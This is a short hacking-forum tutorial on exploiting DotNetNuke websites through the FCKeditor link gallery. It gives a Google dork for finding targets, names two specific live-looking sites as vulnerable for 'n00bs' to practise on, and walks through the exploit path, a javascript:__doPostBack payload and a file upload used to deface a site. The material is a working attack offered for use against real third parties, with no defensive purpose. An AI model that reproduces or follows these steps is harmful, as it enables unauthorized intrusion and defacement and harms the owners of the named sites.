DNN



Using google DORK try to find the vulnerable website.


PHP Code:
inurl:"/portals/0" 

You can also modify this google dork according to your need & requirement

I have found these 2 website vulnerable to this attack:

Code:
http://www.wittur.se/
http://www.bsd405.org/

n00bs can also try both of these websites for testing purpose.

Open the home page and check any image which is located in /portals/0/
Check the location of the image. It should be located in /portals/0/

Now here is the exploit

PHP Code:
Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx 

HOW TO RUN ?

Simply copy paste it as shown below:

Code:
www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

You will see the portal where it will ask you to upload. Select the third option File ( A File On Your Site
[Image: 43c8e77eac9b.jpg]
After selecting the third option, replace the URL bar with below script
PHP Code:
javascript:__doPostBack('ctlURL$cmdUpload','') 

After running this JAVA script, you will see the option for Upload Selected File. Now select you image file which you have renamed as SHM.jpg & upload here. Go to main page and refresh...THAT,S IT you have hacked the website.

[Image: b2cf4041113f.jpg]